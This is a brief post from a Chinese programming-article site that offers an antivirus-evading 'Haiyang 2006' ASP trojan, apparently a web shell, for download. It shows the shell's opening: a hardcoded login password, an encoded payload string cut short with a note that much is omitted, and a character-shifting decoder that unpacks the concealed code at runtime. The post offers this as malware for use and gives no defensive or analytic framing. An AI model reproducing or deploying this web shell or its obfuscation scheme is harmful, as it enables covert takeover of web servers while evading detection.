欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

提供个 全免杀海洋2006asp木马 下载

程序员文章站 2023-11-07 11:31:28
<% const userpassword = "testit" ''登录密码 hu="琳琳5(63216(p:5,7(bd^...
<%
const userpassword = "testit" ''登录密码
hu="琳琳5(63216(p:5,7(bd^2省略很多
function unencode(temp)
but=34
for i = 1 to len(temp)
    if mid(temp,i,1)<> "琳" then
if asc(mid(temp, i, 1)) < 32 or asc(mid(temp, i, 1)) > 126 then
a = a & chr(asc(mid(temp, i, 1)))
else
pk=asc(mid(temp,i,1))-but
            if pk>126 then
                    pk=pk-95
            elseif pk<32 then
                     pk=pk+95
             end if
             a=a&chr(pk)
end if
   else
             a=a&vbcrlf
   end if
next
unencode=a
end function
%>